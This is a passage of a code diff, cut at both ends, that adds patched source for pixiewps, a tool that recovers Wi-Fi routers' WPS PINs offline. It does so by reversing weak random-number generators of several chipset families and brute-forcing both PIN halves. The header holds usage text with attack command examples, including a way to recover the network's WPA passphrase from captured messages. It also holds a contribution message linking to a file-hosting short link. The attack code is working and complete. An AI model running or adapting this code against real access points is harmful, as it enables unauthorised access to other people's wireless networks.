DEBUG_PRINT(" * Mode: %d (%s)", ECOS_KNUTH, p_mode_name[ECOS_KNUTH]); + + init_crack_jobs(wps, ECOS_KNUTH); + + if (collect_crack_jobs(&wps->nonce_seed)) { + int i; + uint32_t seed = wps->nonce_seed; + + for (i = 0; i < WPS_NONCE_LEN; i++) + ecos_rand_knuth(&seed); + + wps->s1_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = (uint8_t) ecos_rand_knuth(&seed); + + wps->s2_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = (uint8_t) ecos_rand_knuth(&seed); + + DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = ECOS_KNUTH; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = ECOS_KNUTH; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 6 - Broadcom BCM43xx multi-threaded LCG seed search */ + } + else if (p_mode[k] == BROADCOM && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", BROADCOM, p_mode_name[BROADCOM]); + + init_crack_jobs(wps, BROADCOM); + + if (collect_crack_jobs(&wps->nonce_seed)) { /* Seed found, advance PRNG past nonce to get E-S1/E-S2 */ + int i; + uint32_t seed = wps->nonce_seed; + + for (i = 0; i < WPS_NONCE_LEN; i++) /* Skip nonce bytes */ + broadcom_rand(&seed); + + wps->s1_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = (uint8_t)(broadcom_rand(&seed)); + + wps->s2_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = (uint8_t)(broadcom_rand(&seed)); + + DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = BROADCOM; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = BROADCOM; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 7 - MediaTek MT76xx LFSR reversal (same structure as RT, different polynomial) */ + } + else if (p_mode[k] == MEDIATEK && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", MEDIATEK, p_mode_name[MEDIATEK]); + + struct mediatek_randstate prng = {0}; + for (int i = WPS_NONCE_LEN; i--; ) + mediatek_randstate_restore(&prng, wps->e_nonce[i]); + const uint32_t saved_sreg = prng.sreg; + + int j; + for (j = 0; j < WPS_NONCE_LEN; j++) + if (mediatek_randbyte(&prng) != wps->e_nonce[j]) break; + + if (j == WPS_NONCE_LEN) { + prng.sreg = saved_sreg; + wps->nonce_seed = prng.sreg; + for (int i = WPS_SECRET_NONCE_LEN; i--; ) + wps->e_s2[i] = mediatek_randbyte_backwards(&prng); + wps->s2_seed = prng.sreg; + for (int i = WPS_SECRET_NONCE_LEN; i--; ) + wps->e_s1[i] = mediatek_randbyte_backwards(&prng); + wps->s1_seed = prng.sreg; + + DEBUG_PRINT("Seed found"); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = MEDIATEK; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = MEDIATEK; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 8 - Broadcom MT19937 (full Mersenne Twister, multi-threaded seed search) */ + } + else if (p_mode[k] == BROADCOM_MT && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", BROADCOM_MT, p_mode_name[BROADCOM_MT]); + + init_crack_jobs(wps, BROADCOM_MT); + + if (collect_crack_jobs(&wps->nonce_seed)) { + int i; + struct mt19937_state mt; + mt19937_init(&mt, wps->nonce_seed); + + for (i = 0; i < WPS_NONCE_LEN; i++) /* Skip nonce bytes */ + mt19937_extract(&mt); + + wps->s1_seed = 0; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = (uint8_t)(mt19937_extract(&mt)); + + wps->s2_seed = 0; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = (uint8_t)(mt19937_extract(&mt)); + + DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = BROADCOM_MT; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = BROADCOM_MT; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 9 - XorShift32 (Marsaglia) */ + } + else if (p_mode[k] == XORSHIFT32 && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", XORSHIFT32, p_mode_name[XORSHIFT32]); + + init_crack_jobs(wps, XORSHIFT32); + + if (collect_crack_jobs(&wps->nonce_seed)) { + int i; + uint32_t seed = wps->nonce_seed; + + for (i = 0; i < WPS_NONCE_LEN; i++) + xorshift32_rand(&seed); + + wps->s1_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = (uint8_t) xorshift32_rand(&seed); + + wps->s2_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = (uint8_t) xorshift32_rand(&seed); + + DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = XORSHIFT32; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = XORSHIFT32; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 10 - Windows CE LCG */ + } + else if (p_mode[k] == WINCE_LCG && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", WINCE_LCG, p_mode_name[WINCE_LCG]); + + init_crack_jobs(wps, WINCE_LCG); + + if (collect_crack_jobs(&wps->nonce_seed)) { + int i; + uint32_t seed = wps->nonce_seed; + + for (i = 0; i < WPS_NONCE_LEN; i++) + wince_lcg_rand(&seed); + + wps->s1_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = wince_lcg_rand(&seed); + + wps->s2_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = wince_lcg_rand(&seed); + + DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = WINCE_LCG; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = WINCE_LCG; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 11 - Numerical Recipes LCG */ + } + else if (p_mode[k] == NUMRECIPES_LCG && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", NUMRECIPES_LCG, p_mode_name[NUMRECIPES_LCG]); + + init_crack_jobs(wps, NUMRECIPES_LCG); + + if (collect_crack_jobs(&wps->nonce_seed)) { + int i; + uint32_t seed = wps->nonce_seed; + + for (i = 0; i < WPS_NONCE_LEN; i++) + numrecipes_lcg_rand(&seed); + + wps->s1_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = numrecipes_lcg_rand(&seed); + + wps->s2_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = numrecipes_lcg_rand(&seed); + + DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = NUMRECIPES_LCG; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = NUMRECIPES_LCG; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + } + + k++; + } + + struct timeval diff; + gettimeofday(&t_end, 0); + timeval_subtract(&diff, &t_end, &t_start); + + k--; + +#ifdef DEBUG + puts(""); +#endif + + printf("\n Pixiewps %s\n", SHORT_VERSION); + + if (found_p_mode != NONE) { + if (wps->verbosity > 1) { + printf("\n [?] Mode: %u (%s)", found_p_mode, p_mode_name[found_p_mode]); + } + if (wps->verbosity > 2) { + if (found_p_mode == RTL819x) { + if (wps->nonce_seed) { + time_t seed_time; + char buffer[30]; + + seed_time = wps->nonce_seed; + printf("\n [*] Seed N1: %u", (unsigned) seed_time); + printf(" (%s UTC)", format_time(seed_time, buffer)); + + seed_time = wps->s1_seed; + printf("\n [*] Seed ES1: %u", (unsigned) seed_time); + printf(" (%s UTC)", format_time(seed_time, buffer)); + + seed_time = wps->s2_seed; + printf("\n [*] Seed ES2: %u", (unsigned) seed_time); + printf(" (%s UTC)", format_time(seed_time, buffer)); + } + else { + printf("\n [*] Seed N1: -"); + printf("\n [*] Seed ES1: -"); + printf("\n [*] Seed ES2: -"); + } + } + else { + if (wps->nonce_seed == 0) + printf("\n [*] Seed N1: -"); + else + printf("\n [*] Seed N1: 0x%08x", wps->nonce_seed); + printf("\n [*] Seed ES1: 0x%08x", wps->s1_seed); + printf("\n [*] Seed ES2: 0x%08x", wps->s2_seed); + } + if (wps->dhkey) { /* To see if AuthKey was supplied or not (verbosity > 2) */ + printf("\n [*] DHKey: "); byte_array_print(wps->dhkey, WPS_HASH_LEN); + printf("\n [*] KDK: "); byte_array_print(wps->kdk, WPS_HASH_LEN); + printf("\n [*] AuthKey: "); byte_array_print(wps->authkey, WPS_AUTHKEY_LEN); + printf("\n [*] EMSK: "); byte_array_print(wps->emsk, WPS_EMSK_LEN); + printf("\n [*] KWKey: "); byte_array_print(wps->wrapkey, WPS_KEYWRAPKEY_LEN); + } + printf("\n [*] PSK1: "); byte_array_print(wps->psk1, WPS_PSK_LEN); + printf("\n [*] PSK2: "); byte_array_print(wps->psk2, WPS_PSK_LEN); + } + if (wps->verbosity > 1) { + printf("\n [*] ES1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN); + printf("\n [*] ES2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN); + } + if (wps->pin[0] == '\0') { + printf("\n [+] WPS pin: "); + } + else { + printf("\n [+] WPS pin: %s", wps->pin); + } + } + else { + printf("\n [-] WPS pin not found!"); + } + printf("\n\n [*] Time taken: %lu s %lu ms\n\n", (unsigned long)diff.tv_sec, (unsigned long)(diff.tv_usec / 1000)); + + if (wps->warning) { + printf("%s", wps->warning); + free(wps->warning); + wps->warning = NULL; + } + + if (found_p_mode == NONE) { + if (wps->nonce_match || (!memcmp(wps->e_nonce, "\x00\x00", 2) && !memcmp(wps->e_nonce + 4, "\x00\x00", 2)) || + (!memcmp(wps->e_nonce + 2, "\x00\x00", 2) && !memcmp(wps->e_nonce + 6, "\x00\x00", 2)) || + (wps->e_nonce[0] == 0 && wps->e_nonce[4] == 0 && wps->e_nonce[8] == 0 && wps->e_nonce[12] == 0) || + (wps->e_nonce[3] == 0 && wps->e_nonce[7] == 0 && wps->e_nonce[11] == 0 && wps->e_nonce[15] == 0)) + printf(" " STR_CONTRIBUTE "\n\n"); + } + else if (found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH || + found_p_mode == BROADCOM || found_p_mode == MEDIATEK || + found_p_mode == BROADCOM_MT || found_p_mode == XORSHIFT32 || + found_p_mode == WINCE_LCG || found_p_mode == NUMRECIPES_LCG) { + printf(" " STR_CONTRIBUTE "\n\n"); + } + + wps_free(wps); + + return found_p_mode != 0 ? PIN_FOUND : PIN_ERROR; +} + +/* Simplest */ +static uint32_t ecos_rand_simplest(uint32_t *seed) +{ + *seed = (*seed * 1103515245) + 12345; /* Permutate seed */ + return *seed; +} + +/* Simple, Linear congruential generator */ +static uint32_t ecos_rand_simple(uint32_t *seed) +{ + uint32_t s = *seed; + uint32_t uret; + + s = (s * 1103515245) + 12345; /* Permutate seed */ + uret = s & 0xffe00000; /* Use top 11 bits */ + s = (s * 1103515245) + 12345; /* Permutate seed */ + uret += (s & 0xfffc0000) >> 11; /* Use top 14 bits */ + s = (s * 1103515245) + 12345; /* Permutate seed */ + uret += (s & 0xfe000000) >> (11 + 14); /* Use top 7 bits */ + + *seed = s; + return uret; +} + +/* Mersenne-Knuth */ +static uint32_t ecos_rand_knuth(uint32_t *seed) +{ + #define MM 2147483647 /* Mersenne prime */ + #define AA 48271 /* This does well in the spectral test */ + #define QQ 44488 /* MM / AA */ + #define RR 3399 /* MM % AA, important that RR < QQ */ + + *seed = AA * (*seed % QQ) - RR * (*seed / QQ); + if (*seed & 0x80000000) + *seed += MM; + + return *seed; +} + +/* Layout: [ES (16)] [PSK (16)] [PKe (192)] [PKr (192)] = 416 bytes */ +#define PIN_BUFFER_LEN (WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2) + +/* + * Return non-zero if pin half is correct, zero otherwise. + * Buffer must be pre-filled: [es][???][pke][pkr] - only the PSK slot is updated. + */ +static int check_pin_half(const struct hmac_ctx *hctx, const char pinhalf[4], uint8_t *psk, uint8_t *buffer, const uint8_t *ehash) +{ + uint8_t result[WPS_HASH_LEN]; + + hmac_sha256_yield(hctx, (uint8_t *)pinhalf, 4, psk); + memcpy(buffer + WPS_SECRET_NONCE_LEN, psk, WPS_PSK_LEN); + hmac_sha256_yield(hctx, buffer, PIN_BUFFER_LEN, result); + + return !memcmp(result, ehash, WPS_HASH_LEN); +} + +/* Prepare a reusable hash buffer with es, pke, pkr pre-filled (PSK slot left for caller) */ +static void prepare_pin_buffer(uint8_t *buffer, const uint8_t *es, const struct global *wps) +{ + memcpy(buffer, es, WPS_SECRET_NONCE_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN); +} + +/* Return non-zero if pin half is correct, zero otherwise */ +static int check_empty_pin_half(const uint8_t *es, struct global *wps, const uint8_t *ehash) +{ + uint8_t buffer[PIN_BUFFER_LEN]; + uint8_t result[WPS_HASH_LEN]; + + prepare_pin_buffer(buffer, es, wps); + memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->empty_psk, WPS_PSK_LEN); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, PIN_BUFFER_LEN, result); + + return !memcmp(result, ehash, WPS_HASH_LEN); +} + +/* Return 1 if numeric pin half found, -1 if empty pin found, 0 if not found */ +static int crack_first_half(struct global *wps, char *pin, const uint8_t *es1_override) +{ + *pin = 0; + const uint8_t *es1 = es1_override ? es1_override : wps->e_s1; + + if (check_empty_pin_half(es1, wps, wps->e_hash1)) { + memcpy(wps->psk1, wps->empty_psk, WPS_HASH_LEN); + return -1; + } + + unsigned first_half; + uint8_t psk[WPS_HASH_LEN]; + uint8_t buffer[PIN_BUFFER_LEN]; + struct hmac_ctx hc; + + prepare_pin_buffer(buffer, es1, wps); + hmac_sha256_init(&hc, wps->authkey, WPS_AUTHKEY_LEN); + + for (first_half = 0; first_half < 10000; first_half++) { + uint_to_char_array(first_half, 4, pin); + if (check_pin_half(&hc, pin, psk, buffer, wps->e_hash1)) { + pin[4] = 0; /* Make sure pin string is zero-terminated */ + memcpy(wps->psk1, psk, sizeof psk); + return 1; + } + } + + return 0; +} + +/* Return non-zero if pin found, -1 if empty pin found, 0 if not found */ +static int crack_second_half(struct global *wps, char *pin) +{ + if (!pin[0] && check_empty_pin_half(wps->e_s2, wps, wps->e_hash2)) { + memcpy(wps->psk2, wps->empty_psk, WPS_HASH_LEN); + return 1; + } + + unsigned second_half, first_half = atoi(pin); + char *s_pin = pin + strlen(pin); + uint8_t psk[WPS_HASH_LEN]; + uint8_t buffer[PIN_BUFFER_LEN]; + struct hmac_ctx hc; + + prepare_pin_buffer(buffer, wps->e_s2, wps); + hmac_sha256_init(&hc, wps->authkey, WPS_AUTHKEY_LEN); + + for (second_half = 0; second_half < 1000; second_half++) { + unsigned int checksum_digit = wps_pin_checksum(first_half * 1000 + second_half); + unsigned int c_second_half = second_half * 10 + checksum_digit; + uint_to_char_array(c_second_half, 4, s_pin); + if (check_pin_half(&hc, s_pin, psk, buffer, wps->e_hash2)) { + memcpy(wps->psk2, psk, sizeof psk); + pin[8] = 0; + return 1; + } + } + + for (second_half = 0; second_half < 10000; second_half++) { + + /* If already tested skip */ + if (wps_pin_valid(first_half * 10000 + second_half)) { + continue; + } + + uint_to_char_array(second_half, 4, s_pin); + if (check_pin_half(&hc, s_pin, psk, buffer, wps->e_hash2)) { + memcpy(wps->psk2, psk, sizeof psk); + pin[8] = 0; /* Make sure pin string is zero-terminated */ + return 1; + } + } + + return 0; +} + +/* PIN cracking attempt, return 0 for success, 1 for failure */ +static int crack(struct global *wps, char *pin) +{ + return !(crack_first_half(wps, pin, 0) && crack_second_half(wps, pin)); +} diff --git a/lib/src/main/cpp/pixiewps/patches/pixiewps.h b/lib/src/main/cpp/pixiewps/patches/pixiewps.h new file mode 100644 index 0000000..c303bc1 --- /dev/null +++ b/lib/src/main/cpp/pixiewps/patches/pixiewps.h @@ -0,0 +1,319 @@ +/* + * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs + * + * Copyright (c) 2015-2017, wiire + * SPDX-License-Identifier: GPL-3.0+ + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#ifndef PIXIEWPS_H +#define PIXIEWPS_H + +/* Modes constants */ +#define NONE 0 +#define RT 1 +#define ECOS_SIMPLE 2 +#define RTL819x 3 +#define ECOS_SIMPLEST 4 /* Not tested */ +#define ECOS_KNUTH 5 /* Not tested */ +#define BROADCOM 6 +#define MEDIATEK 7 +#define BROADCOM_MT 8 +#define XORSHIFT32 9 +#define WINCE_LCG 10 +#define NUMRECIPES_LCG 11 + +/* Modes constants */ +#define MODE_LEN 11 +#define MODE3_TRIES (60 * 10) +#define SEC_PER_DAY 86400 + +/* Exit costants */ +#define PIN_FOUND 0 +#define PIN_ERROR 1 +#define MEM_ERROR 2 +#define ARG_ERROR 3 +#define UNS_ERROR 4 + +#include +#include +#include + +#include "utils.h" + +#ifndef WPS_PIN_LEN +# define WPS_PIN_LEN 8 +#endif + +#if defined(DEBUG) +# define DEBUG_PRINT(fmt, args...) do { printf("\n [DEBUG] %s:%4d:%s(): " fmt, \ + __FILE__, __LINE__, __func__, ##args); fflush(stdout); } while (0) +# define DEBUG_PRINT_ARRAY(b, l) do { byte_array_print(b, l); fflush(stdout); } while (0) +# define DEBUG_PRINT_ATTEMPT(s, z) \ + do { \ + printf("\n [DEBUG] %s:%4d:%s(): Trying with E-S1: ", __FILE__, __LINE__, __func__); \ + byte_array_print(s, WPS_SECRET_NONCE_LEN); \ + printf("\n [DEBUG] %s:%4d:%s(): Trying with E-S1: ", __FILE__, __LINE__, __func__); \ + byte_array_print(z, WPS_SECRET_NONCE_LEN); \ + fflush(stdout); \ + } while (0) +#else +# define DEBUG_PRINT(fmt, args...) do {} while (0) +# define DEBUG_PRINT_ARRAY(b, l) do {} while (0) +# define DEBUG_PRINT_ATTEMPT(s, z) do {} while (0) +#endif + +uint_fast8_t p_mode[MODE_LEN] = { 0 }; +const char *p_mode_name[MODE_LEN + 1] = { "", "RT/MT/CL", "eCos simple", "RTL819x", "eCos simplest", "eCos Knuth", "Broadcom", "MediaTek MT76xx", "Broadcom MT19937", "XorShift32", "Windows CE", "Num. Recipes" }; + +/* Also called 'porting' OpenSSL */ +#define SET_RTL_PRIV_KEY(x) memset(x, 0x55, 192) + +const uint8_t wps_rtl_pke[] = { + 0xD0,0x14,0x1B,0x15, 0x65,0x6E,0x96,0xB8, 0x5F,0xCE,0xAD,0x2E, 0x8E,0x76,0x33,0x0D, + 0x2B,0x1A,0xC1,0x57, 0x6B,0xB0,0x26,0xE7, 0xA3,0x28,0xC0,0xE1, 0xBA,0xF8,0xCF,0x91, + 0x66,0x43,0x71,0x17, 0x4C,0x08,0xEE,0x12, 0xEC,0x92,0xB0,0x51, 0x9C,0x54,0x87,0x9F, + 0x21,0x25,0x5B,0xE5, 0xA8,0x77,0x0E,0x1F, 0xA1,0x88,0x04,0x70, 0xEF,0x42,0x3C,0x90, + 0xE3,0x4D,0x78,0x47, 0xA6,0xFC,0xB4,0x92, 0x45,0x63,0xD1,0xAF, 0x1D,0xB0,0xC4,0x81, + 0xEA,0xD9,0x85,0x2C, 0x51,0x9B,0xF1,0xDD, 0x42,0x9C,0x16,0x39, 0x51,0xCF,0x69,0x18, + 0x1B,0x13,0x2A,0xEA, 0x2A,0x36,0x84,0xCA, 0xF3,0x5B,0xC5,0x4A, 0xCA,0x1B,0x20,0xC8, + 0x8B,0xB3,0xB7,0x33, 0x9F,0xF7,0xD5,0x6E, 0x09,0x13,0x9D,0x77, 0xF0,0xAC,0x58,0x07, + 0x90,0x97,0x93,0x82, 0x51,0xDB,0xBE,0x75, 0xE8,0x67,0x15,0xCC, 0x6B,0x7C,0x0C,0xA9, + 0x45,0xFa,0x8D,0xD8, 0xD6,0x61,0xBE,0xB7, 0x3B,0x41,0x40,0x32, 0x79,0x8D,0xAD,0xEE, + 0x32,0xB5,0xDD,0x61, 0xBF,0x10,0x5F,0x18, 0xD8,0x92,0x17,0x76, 0x0B,0x75,0xC5,0xD9, + 0x66,0xA5,0xA4,0x90, 0x47,0x2C,0xEB,0xA9, 0xE3,0xB4,0x22,0x4F, 0x3D,0x89,0xFB,0x2B +}; + +/* const uint8_t rtl_rnd_seed[] = { + 0x52,0x65,0x61,0x6c, 0x74,0x65,0x6b,0x20, 0x57,0x69,0x46,0x69, 0x20,0x53,0x69,0x6d, + 0x70,0x6c,0x65,0x2d, 0x43,0x6f,0x6e,0x66, 0x69,0x67,0x20,0x44, 0x61,0x65,0x6d,0x6f, + 0x6e,0x20,0x70,0x72, 0x6f,0x67,0x72,0x61, 0x6d,0x20,0x32,0x30, 0x30,0x36,0x2d,0x30, + 0x35,0x2d,0x31,0x35 +}; */ + +struct global { + char pin[WPS_PIN_LEN + 1]; + uint8_t *pke; + uint8_t *pkr; + uint8_t *e_key; + uint8_t *e_hash1; + uint8_t *e_hash2; + uint8_t *authkey; + uint8_t *e_nonce; + uint8_t *r_nonce; + uint8_t *psk1; + uint8_t *psk2; + uint8_t *empty_psk; + uint8_t *dhkey; + uint8_t *kdk; + uint8_t *wrapkey; + uint8_t *emsk; + uint8_t *e_s1; + uint8_t *e_s2; + uint8_t *e_bssid; + uint8_t *m5_encr; + uint8_t *m7_encr; + unsigned int m5_encr_len; + unsigned int m7_encr_len; + uint32_t nonce_seed; + uint32_t s1_seed; + uint32_t s2_seed; + time_t start; + time_t end; + uint8_t small_dh_keys; + uint8_t mode_auto; + uint8_t bruteforce; + uint8_t anylength; + uint8_t nonce_match; + int jobs; + int verbosity; + char *error; + char *warning; +}; + +char usage[] = + "\n" + " Pixiewps %s WPS pixie-dust attack tool\n" + " Copyright (c) 2015-2017, wiire \n" + "\n" + " Usage: %s \n" + "\n" + " Required arguments:\n" + "\n" + " -e, --pke : Enrollee public key\n" + " -r, --pkr : Registrar public key\n" + " -s, --e-hash1 : Enrollee hash-1\n" + " -z, --e-hash2 : Enrollee hash-2\n" + " -a, --authkey : Authentication session key\n" + " -n, --e-nonce : Enrollee nonce\n" + "\n" + " Optional arguments:\n" + "\n" + " -m, --r-nonce : Registrar nonce\n" + " -b, --e-bssid : Enrollee BSSID\n" + " -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n" + " -o, --output : Write output to file\n" + " -j, --jobs : Number of parallel threads to use [Auto]\n" + "\n" + " -h : Display this usage screen\n" + " --help : Verbose help and more usage examples\n" + " -V, --version : Display version\n" + "\n" + " --mode N[,... N] : Mode selection, comma separated [Auto]\n" + " --start [mm/]yyyy : Starting date (only mode 3) [+1 day]\n" + " --end [mm/]yyyy : Ending date (only mode 3) [-1 day]\n" + " --cstart N : Starting date (time_t) (only mode 3)\n" + " --cend N : Ending date (time_t) (only mode 3)\n" + " -f, --force : Bruteforce full range (only mode 3)\n" + "\n" + " Miscellaneous arguments:\n" + "\n" + " -7, --m7-enc : Recover encrypted settings from M7 (only mode 3)\n" + " -5, --m5-enc : Recover secret nonce from M5 (only mode 3)\n" + "\n" + " Example (use --help for more):\n" + "\n" + " pixiewps -e -r -s -z -a -n \n" + "%s"; + +char v_usage[] = + "\n" + " Pixiewps %s WPS pixie-dust attack tool\n" + " Copyright (c) 2015-2017, wiire \n" + "\n" + " Description of arguments:\n" + "\n" + " -e, --pke\n" + "\n" + " Enrollee's DH public key, found in M1.\n" + "\n" + " -r, --pkr\n" + "\n" + " Registrar's DH public key, found in M2.\n" + "\n" + " -s, --e-hash1\n" + "\n" + " Enrollee hash-1, found in M3. It's the hash of the first half of the PIN.\n" + "\n" + " -z, --e-hash2\n" + "\n" + " Enrollee hash-2, found in M3. It's the hash of the second half of the PIN.\n" + "\n" + " -a, --authkey\n" + "\n" + " Authentication session key. Although for this parameter a modified version of " + "Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman " + "keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.\n" + "\n" + " [?] pixiewps -e -s -z -S -n -m -b \n" + "\n" + " -n, --e-nonce\n" + "\n" + " Enrollee's nonce, found in M1.\n" + "\n" + " -m, --r-nonce\n" + "\n" + " Registrar's nonce, found in M2. Used with other parameters to compute the session keys.\n" + "\n" + " -b, --e-bssid\n" + "\n" + " Enrollee's BSSID. Used with other parameters to compute the session keys.\n" + "\n" + " -S, --dh-small (deprecated)\n" + "\n" + " Small Diffie-Hellman keys. The same option must be specified in Reaver too. " + "Some Access Points seem to be buggy and don't behave correctly with this option. " + "Avoid using it with Reaver when possible\n" + "\n" + " --mode N[,... N]\n" + "\n" + " Select modes, comma separated (experimental modes are not used unless specified):\n" + "\n" + " 1 (%s)\n" + " 2 (%s)\n" + " 3 (%s)\n" + " 4 (%s) [Experimental]\n" + " 5 (%s) [Experimental]\n" + " 6 (%s)\n" + " 7 (%s)\n" + " 8 (%s) [Experimental]\n" + " 9 (%s) [Experimental]\n" + " 10 (%s) [Experimental]\n" + " 11 (%s) [Experimental]\n" + "\n" + " --start [mm/]yyyy\n" + " --end [mm/]yyyy\n" + "\n" + " Starting and ending dates for mode 3. They are interchangeable. " + "If only one is specified, the current time will be used for the other. " + "The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), " + "the latest is 02/2038, corresponding to 0x7FFFFFFF. If --force is used then " + "pixiewps will start from the current time and go back all the way to 0.\n" + "\n" + " -7, --m7-enc\n" + "\n" + " Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. " + "This feature only works on some Access Points vulnerable to mode 3.\n" + "\n" + " [?] pixiewps -e -r -n -m -b -7 --mode 3\n" + "\n" + " -5, --m5-enc\n" + "\n" + " Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. " + "This option must be used in conjunction with --m7-enc. If --e-hash1 and " + "--e-hash2 are also specified, pixiewps will also recover the WPS PIN.\n" + "\n" + " [?] pixiewps -e -r -n -m -b -7 -5 --mode 3\n" + " [?] pixiewps -e -r -n -m -b -7 -5 -s -z --mode 3\n" + "\n"; + +#define STR_CONTRIBUTE "[@] Looks like you have some interesting data! Please consider contributing with your data to improve pixiewps. Follow the instructions on http://0x0.st/tm - Thank you!" + +/* Comma separated number parsing (supports multi-digit mode numbers) */ +static inline uint_fast8_t parse_mode(char *list, uint_fast8_t *dst, const uint8_t max_val) +{ + uint_fast8_t cnt = 0; + while (*list != 0) { + if (*list < '0' || *list > '9') + return 1; + unsigned int val = 0; + while (*list >= '0' && *list <= '9') { + val = val * 10 + (*list - '0'); + if (val > max_val) + return 1; + list++; + } + if (val < 1) + return 1; + if (cnt >= MODE_LEN) + return 1; + dst[cnt++] = (uint_fast8_t)val; + if (*list == ',') + list++; + else if (*list != 0) + return 1; + } + if (cnt < MODE_LEN) + dst[cnt] = NONE; + return 0; +} + +/* Check if passed mode is selected */ +static inline uint_fast8_t is_mode_selected(const uint_fast8_t mode) +{ + for (uint_fast8_t i = 0; i < MODE_LEN && p_mode[i] != NONE; i++) { + if (p_mode[i] == mode) + return 1; + } + return 0; +} + +#endif /* PIXIEWPS_H */ From 